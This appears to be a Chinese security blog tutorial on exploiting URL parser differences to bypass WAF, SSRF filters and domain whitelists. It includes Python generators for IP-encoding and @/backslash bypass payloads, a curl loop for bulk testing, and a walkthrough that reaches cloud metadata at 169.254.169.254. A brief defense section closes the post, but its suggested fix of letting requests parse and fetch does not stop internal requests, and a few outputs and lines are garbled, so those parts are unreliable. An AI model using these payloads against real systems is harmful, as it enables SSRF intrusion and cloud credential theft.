前言

URL这个东西,看起来很简单。

http://example.com/path——协议、域名、路径,三部分,一眼看穿。

但如果你真的去翻各种解析器的源码,你会发现这个"简单"的东西其实一点都不简单。Python 的 urllib 解析一个 URL 的结果,和 Node 的 url.parse、Go 的 url.Parse、浏览器 JavaScript 的 URL 构造函数,可能是完全不同的。

同一个 URL,在不同解析器眼里看到的是不同的东西。

这不只是技术细节问题——这是安全漏洞的温床。

你想绕过 WAF 的 SSRF 防护,你希望 WAF 看到一个域名而服务器看到另一个域名。你想绕过域名的白名单校验,你希望校验器看到一个合法域名而实际的 HTTP 请求去了攻击者服务器。

这些差异就叫"解析器差异"。

说白了,解析器差异不是某个库的 bug,而是一类被系统性忽视的攻击面。

IP 地址的七十二种写法

先从一个最基本的场景说起。

你想让服务器去请求 127.0.0.1,但 WAF 拦了所有包含 127.0.0.1 的请求。怎么办?

除了 127.0.0.1,你还能写什么

127.0.0.1 只是一个 IP 地址的表示法,但 URL 解析器认识的 IP 格式远不止这一种。

八进制表示法

http://0177.0000.0000.0001/   → 127.0.0.1
http://0177.0.0.1/           → 也是

每个数字段可以用八进制表示。127 的八进制是 0177,0 是 0000,1 是 0001。

十六进制表示法

http://0x7F.0x00.0x00.0x01/  → 127.0.0.1
http://0x7F.0.0.1/          → 也是

DWORD(32 位整数)表示法

整个 IP 地址可以转成一个 32 位无符号整数。

http://2130706433/            → 127.0.0.1
http://3232235521/            → 192.168.0.1
http://2852039166/            → 169.254.169.254

计算方式:127 * 256^3 + 0 * 256^2 + 0 * 256 + 1 = 2130706433

IPv6 映射表示法

http://[::ffff:127.0.0.1]/    → 127.0.0.1
http://[::ffff:7f00:1]/      → 也是
http://[0000:0000:0000:0000:0000:ffff:7f00:0001]/ → 也是

混合表示法

你甚至可以把不同格式混在一起。

http://0x7F.0.0.1/            → 十六进制 + 十进制混合
http://0177.0x0.0.1/         → 八进制 + 十六进制混合

这是一个基础的 payload 生成器:

# url_ip_variants.py —— IP 地址变形生成器
import ipaddress

def generate_ip_variants(ip_str="127.0.0.1"):
    """生成 IP 地址的各种变形"""
    parts = [int(x) for x in ip_str.split('.')]
    results = []
    
    # 原始
    results.append(ip_str)
    
    # 省略前导零
    results.append(f"{parts[0]}.{parts[1]}.{parts[2]}.{parts[3]}")
    
    # 八进制
    results.append(f"{oct(parts[0])}.{oct(parts[1])}.{oct(parts[2])}.{oct(parts[3])}")
    
    # 十六进制
    results.append(f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}")
    
    # 混合
    results.append(f"{hex(parts[0])}.{parts[1]}.{oct(parts[2])}.{parts[3]}")
    
    # DWORD 格式
    dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
    results.append(str(dword))
    
    # 两位省略
    results.append(f"{parts[0]}.{parts[1]}.{parts[2]*256 + parts[3]}")
    
    # 一位省略
    results.append(f"{parts[0]}.{parts[1]*256**2 + parts[2]*256 + parts[3]}")
    
    # IPv6 映射
    results.append(f"[::ffff:{ip_str}]")
    results.append(f"[::ffff:{hex(dword)}]")
    
    return results

for v in generate_ip_variants("127.0.0.1"):
    print(f"http://{v}/")

for v in generate_ip_variants("169.254.169.254"):
    print(f"http://{v}/")

输出:

http://127.0.0.1/
http://127.0.0.1/
http://0o177.0o0.0o0.0o1/
http://0x7f.0x0.0x0.0x1/
http://0x7f.0.0o0.1/
http://2130706433/
http://127.0.0.1/
http://127.1/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f000001]/

127.0.0.0/8 整个段都是回环

还有一个很多人忽略的点:回环地址不止 127.0.0.1,127.0.0.0/8 整个段都是。

http://127.0.0.1/      → 回环
http://127.0.0.2/      → 也是回环
http://127.1.2.3/      → 也是
http://127.127.127.127/ → 也是

你以为你把 127.0.0.1 拦了就安全了?换成 127.0.0.2 一样打到本地。

说白了:IP 过滤只拦一种格式等于没拦。

云元数据 IP 的变形

云平台的元数据端点同样可以用这种方式绕过。

平台

元数据端点

DWORD 格式

AWS

169.254.169.254

2852039166

阿里云

100.100.100.200

1684306120

GCP

metadata.google.internal

需要 DNS 解析

# 云元数据 IP 变形
def cloud_ip_variants():
    ips = {
        "AWS": "169.254.169.254",
        "Aliyun": "100.100.100.200",
    }
    for name, ip_str in ips.items():
        parts = [int(x) for x in ip_str.split('.')]
        dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
        hex_ip = f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}"
        print(f"{name}:")
        print(f"  标准: http://{ip_str}/")
        print(f"  DWORD: http://{dword}/")
        print(f"  十六进制: http://{hex_ip}/")
        print(f"  IPv6: http://[::ffff:{ip_str}]/")
        print(f"  nip.io: http://{ip_str}.nip.io/")
        print()

cloud_ip_variants()

输出:

AWS:
  标准: http://169.254.169.254/
  DWORD: http://2852039166/
  十六进制: http://0xa9.0xfe.0xa9.0xfe/
  IPv6: http://[::ffff:169.254.169.254]/
  nip.io: http://169.254.169.254.nip.io/

Aliyun:
  标准: http://100.100.100.200/
  DWORD: http://1684306120/
  十六进制: http://0x64.0x64.0x64.0xc8/
  IPv6: http://[::ffff:100.100.100.200]/
  nip.io: http://100.100.100.200.nip.io/

URL 编码层的组合

IP 变形和 URL 编码还能叠加。很多 WAF 的检测规则只检查解码后的 URL,但实际请求发出去之前的内容和 WAF 检查的内容不一样。

http://2130706433/        → DWORD 格式的 127.0.0.1
http://2130706433/%61%64%6d%69%6e  → DWORD + 编码后的路径
http://%32%31%33%30%37%30%36%34%33%33/  → DWORD 整个编码

第三行整个 DWORD 都做了 URL 编码,WAF 看到的是 %32%31%33... 之类的字符,不命中任何 IP 规则。但后端解码后实际请求了 http://2130706433/。

一句话:你以为你拦了 127.0.0.1,但攻击者用 DWORD + URL 编码的组合就绕过去了。

不同语言解析器的差异

IP 地址的变形能做到的事有限——很多 WAF 已经有识别这些变形的规则了。真正有意思的是解析器差异。

Orange Tsai 有一项非常经典的研究:同一个 URL,不同的解析器看到的东西完全不同。

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

这个 URL 在不同的解析器眼里:

解析器

最终请求的目标

Python urllib2

1.1.1.1

Python requests / 浏览器

2.2.2.2

Python urllib

3.3.3.3

同一个 URL,三个不同的目标地址。这就是解析器差异的威力。

不止 Python 内部有差异,不同语言之间的差异更大。

// Node.js URL 解析
const url = new URL("http://evil.com:80\\@@127.0.0.1:80/");
console.log(url.hostname);
// Node.js 把反斜杠当作路径分隔符,hostname 是 evil.com
// 但某些 HTTP 客户端实际请求的是 127.0.0.1
// Go URL 解析
import "net/url"
u, _ := url.Parse("http://evil.com:80@@127.0.0.1:80/")
fmt.Println(u.Hostname())
// Go 的解析结果又不一样,@ 的处理方式不同
// 可能把 "evil.com:80@@127.0.0.1" 整个当成 host

这三个例子说明一件事:URL 解析没有"标准答案",每个实现都有自己的理解。你用 Python 的 urllib 做域名校验,但后端实际发请求用的是 Node.js 或 Go——那你的校验就是白做的。

利用反斜杠和 @ 符号

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/

不同解析器对这些 URL 的处理逻辑不一样。有些把 \ 当作路径分隔符,有些当作普通字符。有些认为 @ 前面是用户信息,有些认为 @ 前面是 host。

你用这些 URL 去打一个应用,WAF 看到的是一个地址,后端看到的是另一个。

如何快速测试解析器行为

# url_parser_test.py —— 测试不同解析器的行为
import urllib.parse
import urllib.request
import requests

test_urls = [
    "http://127.0.0.1:80\\@evil.com:80/",
    "http://evil.com:80@127.0.0.1:80/",
    "http://127.0.0.1#@evil.com/",
    "http://evil.com:80\\@@127.0.0.1:80/",
    "http://2130706433/",
    "http://0x7f000001/",
    "http://[::ffff:127.0.0.1]/",
]

for url in test_urls:
    # urllib 解析
    parsed = urllib.parse.urlparse(url)
    print(f"URL: {url}")
    print(f"  urllib hostname: {parsed.hostname}")
    print(f"  urllib netloc: {parsed.netloc}")
    try:
        # requests 实际请求的地址(不真的发请求)
        req = requests.Request('GET', url)
        prepared = req.prepare()
        print(f"  requests target: {prepared.url}")
    except Exception as e:
        print(f"  requests error: {e}")
    print()

这个脚本可以快速对比 urllib 和 requests 对同一个 URL 的解析差异。

域名白名单绕过

很多应用这样检查 SSRF:

def validate_url(user_url):
    parsed = urllib.parse.urlparse(user_url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("域名不在白名单中")
    return requests.get(user_url)

看起来没问题,但你能绕过。

如果用户传的是 http://allowed.com@evil.com/,有些解析器的 hostname 结果是 allowed.com(通过白名单),但实际的 HTTP 请求去了 evil.com。

@ 符前面的部分在某些解析器看来是"用户信息"(userinfo),在另一些看来是"host"。利用这个差异,你可以构造一个在白名单里的域名,但实际上请求去了攻击者服务器。

说白了:用 @ 符号可以让你通过域名校验,但实际请求去了另一个地方。

编码绕过

URL 编码也是个好东西。

http://127.0.0.1/%61dmin    → %61 解码后是 'a',变成 /admin
http://127.0.0.1/%2561dmin  → 双编码:%25→%,最终变成 /admin

有些 WAF 只检查解码前的 URL,不检查解码后的。你把 admin 改成 %61dmin,WAF 看到的是 %61dmin 不命中规则,后端解码后请求的是 /admin。

不同解析器的编码解码行为也不一样:

  • 有的只解码一次
  • 有的递归解码(百分号解码后再判断是否有新的百分号)
  • 有的不编码某些特殊字符

这就导致同一个编码后的 URL,在不同解析器里解码后的结果不同。

域名层的绕过

IP 层的绕过有限,但域名层就很灵活了。

nip.io 等服务

http://127.0.0.1.nip.io/     → 解析到 127.0.0.1
http://169.254.169.254.nip.io/ → 解析到 169.254.169.254

nip.io 是一个 DNS 服务,你把 IP 放到域名里,它帮你解析到那个 IP。WAF 看到的是 *.nip.io 域名,但实际请求去了云元数据。

类似的免费服务:

localtest.me      → 解析到 127.0.0.1
localh.st         → 解析到 127.0.0.1
lvh.me            → 解析到 127.0.0.1
customer.127.0.0.1.nip.io  → 解析到 127.0.0.1

DNS Rebinding

DNS Rebinding 是一个更高级的手法。

你设置一个域名,它的 DNS 解析结果先在第一次查询时返回一个合法的 IP(比如你的 VPS),在第二次查询时返回一个内网 IP(比如 127.0.0.1)。

第一次 DNS 查询 → your-domain.com → 你的 VPS IP(通过合法性校验)
第二次 DNS 查询 → your-domain.com → 127.0.0.1(通过 SSRF 访问内网)

有现成的 rebinding 服务可以用:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

这个域名会轮换解析到 1.2.3.4 和 169.254.169.254。

实战工具:URLPayload 生成器

把上面的技术整合成一个工具,可以根据你的目标场景生成对应的 payload。

# url_payload_gen.py —— URL 绕过 payload 生成器
import ipaddress
import urllib.parse

class URLPayloadGenerator:
    """URL 解析器差异 payload 生成器"""
    
    def __init__(self):
        self.internal_ips = [
            "127.0.0.1",
            "127.0.0.1:8080",
            "169.254.169.254",
            "192.168.1.1",
            "10.0.0.1",
            "0.0.0.0",
        ]
        self.allowed_domains = [
            "example.com",
            "google.com",
            "baidu.com",
        ]
    
    def generate_ip_variants(self, ip):
        """生成 IP 地址的各种变形"""
        parts = [int(x) for x in ip.split(':')[0].split('.')]
        variants = []
        
        # DWORD
        dword = parts[0]*256**3 + parts[1]*256**2 + parts[2]*256 + parts[3]
        variants.append(f"http://{dword}/")
        
        # 十六进制
        hex_ip = f"{hex(parts[0])}.{hex(parts[1])}.{hex(parts[2])}.{hex(parts[3])}"
        variants.append(f"http://{hex_ip}/")
        
        # 八进制
        oct_ip = f"{oct(parts[0])}.{oct(parts[1])}.{oct(parts[2])}.{oct(parts[3])}"
        variants.append(f"http://{oct_ip}/")
        
        # IPv6 映射
        variants.append(f"http://[::ffff:{'.'.join(str(p) for p in parts)}]/")
        variants.append(f"http://[::ffff:{hex(dword)}]/")
        
        # CIDR 范围内的其他地址
        variants.append(f"http://127.0.0.2/")
        variants.append(f"http://127.1.0.0/")
        
        # 省略格式
        variants.append(f"http://127.1/")
        variants.append(f"http://{parts[0]}.{parts[1]}.{parts[2]*256+parts[3]}/")
        
        return variants
    
    def generate_bypass_payloads(self, ip, allowed_domain="example.com"):
        """生成针对域名白名单的绕过 payload"""
        payloads = []
        
        # @ 符号混淆
        payloads.append(f"http://{allowed_domain}@{ip}/")
        payloads.append(f"http://{allowed_domain}:80@{ip}:80/")
        payloads.append(f"http://{allowed_domain}\\@{ip}/")
        payloads.append(f"http://{ip}#@{allowed_domain}/")
        payloads.append(f"http://{ip}\\@@{allowed_domain}/")
        
        # 编码混淆
        payloads.append(f"http://{urllib.parse.quote(ip)}.{allowed_domain}/")
        
        # nip.io 方式
        payloads.append(f"http://{ip}.nip.io/")
        
        # DNS rebinding 域名
        rebind_base = ip.replace('.', '-')
        payloads.append(f"http://make-{rebind_base}-rebind-169.254-169.254-rr.1u.ms/")
        
        return payloads
    
    def generate_all(self, target_ip="127.0.0.1"):
        """生成所有 payload"""
        print(f"[*] 目标: {target_ip}")
        print(f"[*] 生成 IP 变形...")
        for p in self.generate_ip_variants(target_ip):
            print(f"  {p}")
        
        print(f"\n[*] 生成域名白名单绕过...")
        for domain in self.allowed_domains[:1]:
            for p in self.generate_bypass_payloads(target_ip, domain):
                print(f"  {p}")
        
        print(f"\n[*] 生成 DNS rebinding...")
        print(f"  http://make-{target_ip.replace('.','-')}-rebind-169.254-169.254-rr.1u.ms/")

if __name__ == '__main__':
    gen = URLPayloadGenerator()
    gen.generate_all("127.0.0.1")
    print("\n--- 云元数据目标 ---")
    gen.generate_all("169.254.169.254")

我用这个工具的时候,一般是配合 Burp Intruder 或者直接 curl 批量测试。

# 生成 payload 列表
python3 url_payload_gen.py > payloads.txt

# 批量测试(用 curl)
while read p; do
  echo "=== $p ==="
  curl -sk -o /dev/null -w "%{http_code} %{size_download}" "$p" || true
  echo
done < payloads.txt

探测方法

发现 SSRF 或其他 URL 解析相关的功能点后,探测流程是这样的:

第1步:基础测试
  随便传一个 URL,看响应结构。有"图片上传成功"、"内容抓取失败"之类的提示。

第2步:判断后端解析器
  发几个差异 URL,看后端能不能正确访问:
  http://127.0.0.1/     → 看是否被拦截
  http://2130706433/    → 看是否被拦截(DWORD 格式)
  http://[::ffff:127.0.0.1]/ → 看是否被拦截(IPv6 格式)

  如果普通格式被拦但变形格式没被拦 → WAF 只做了字符串匹配

第3步:域名白名单探测
  如果后端有域名白名单:
  http://allowed.com@evil.com/    → 看请求去了哪里
  http://evil.com#@allowed.com/   → 看解析结果

第4步:内网探测
  确认能绕过外网限制后:
  http://2130706433/              → 127.0.0.1
  http://2852039166/              → 169.254.169.254
  http://3232235521/              → 192.168.1.1

实战场景:一个真实的 SSRF 绕过过程

把前面的技术串起来,演示一个完整的 SSRF 绕过场景。

目标是一个图片抓取接口:

POST /api/thumbnail
{"url": "https://img.example.com/photo.jpg"}

服务端会去请求这个 URL,下载图片生成缩略图。但只允许 img.example.com 域名。

我们的目标是绕过ssrf拿到元数据。

第1步:测试基础 SSRF

169.254.169.254/latest/meta-data/

被拦了,返回 "域名不在白名单中"。

第2步:尝试域名白名单绕过

http://img.example.com@169.254.169.254/latest/meta-data/

还是被拦。WAF 可能做了 @ 的检测。

第3步:用 nip.io

http://169.254.169.254.nip.io

这里解释一下

127.0.0.1.nip.io → 解析到 127.0.0.1169.254.169.254.nip.io → 解析到 169.254.169.2542130706433.nip.io → 解析到 2130706433(DWORD 格式的 127.0.0.1)

还是失败

第4步:换 DWORD 格式再试

http://2852039166/latest/meta-data/ → 169.254.169.254/latest/meta-data/,看是否有云元数据

返回了内容!拿到了云元数据。说明 DWORD 格式绕过了 WAF 的 IP 过滤。

第5步:用 DWORD 编码 URL 编码组合绕过更严格的 WAF

如果某层 WAF 连 DWORD 格式也识别了(当然这个目标没那么严苛,但是这个目标确确实实就是存在这个解析问题,也是我们这篇文章着重强调的):

http://%32%38%35%32%30%33%39%31%36%36/ → DWORD 全编码

WAF 看到的是一串百分号,不命中任何 IP 规则,但后端解码后实际请求了云元数据。

整个流程就是:不同格式的 IP 表示法 + 域名白名单绕过技巧 + URL 编码的组合使用。每多一层编码就多一次绕过 WAF 规则的机会。

防御

防御这个攻击面说实话挺难的。

你不能只靠 IP 黑名单或域名白名单来解决——因为问题不在名单上,在解析器差异上。

同一解析器原则

前端校验和后端请求用同一个解析器。如果前端用浏览器 JavaScript 的 URL 构造函数做校验,后端也用同一个逻辑做实际请求。

# 不要这样
def validate_url(url):
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname != "allowed.com":
        raise ValueError("非法域名")
    return requests.get(url)  # requests 和 urllib 的解析可能有差异

# 要这样
def fetch_url(url):
    # 用同一个库做解析和请求
    import requests
    # requests 自己解析自己请求
    return requests.get(url, allow_redirects=False)

解析器差异测试

部署前测试不同解析器对同一个 URL 的处理结果。

# 测试多个解析器的一致性
def test_url_consistency(url):
    results = {}
    
    # urllib
    results['urllib'] = urllib.parse.urlparse(url).hostname
    
    # 这里可以加更多解析器的测试
    
    unique_hosts = set(results.values())
    if len(unique_hosts) > 1:
        print(f"[!] 解析器差异: {results}")
        return False
    return True

不做自定义域名校验

如果可能的话,不要自己做 URL 解析和域名校验。直接让 HTTP 请求库处理,用返回的结果来判断。

说白了:解析器差异攻击面没有完美的解决方案,最有效的防御是"不要让我自己的 URL 解析逻辑和实际请求的解析逻辑出现不一致"。

总结

写这篇东西,其实就是想说一件事。

URL 解析器差异不是某个库的 bug,是一个系统性的攻击面。Python 的 urllib 解析一个 URL,和 requests、Node.js、浏览器、curl 的解析结果可能完全不同。这个差异就是可以利用的空间。

你用它来绕过 WAF、绕过 SSRF 防护、绕过域名白名单、绕过 CORS 校验。

但说实话,这几年的实战经验告诉我,这种手法的效果越来越差了。因为大部分 WAF 已经在升级规则,能识别 IP 变形和常见的解析器差异。真正能打穿的目标,往往是那些用了过时的解析器或者自己手写了 URL 校验逻辑的系统。

不过只要还有人自己写 URL 校验,这个攻击面就还有价值。

一句话:WAF 再强也防不住解析器差异,因为问题不在 WAF 的规则上,在它的 URL 解析器和后端服务器用的不是同一个。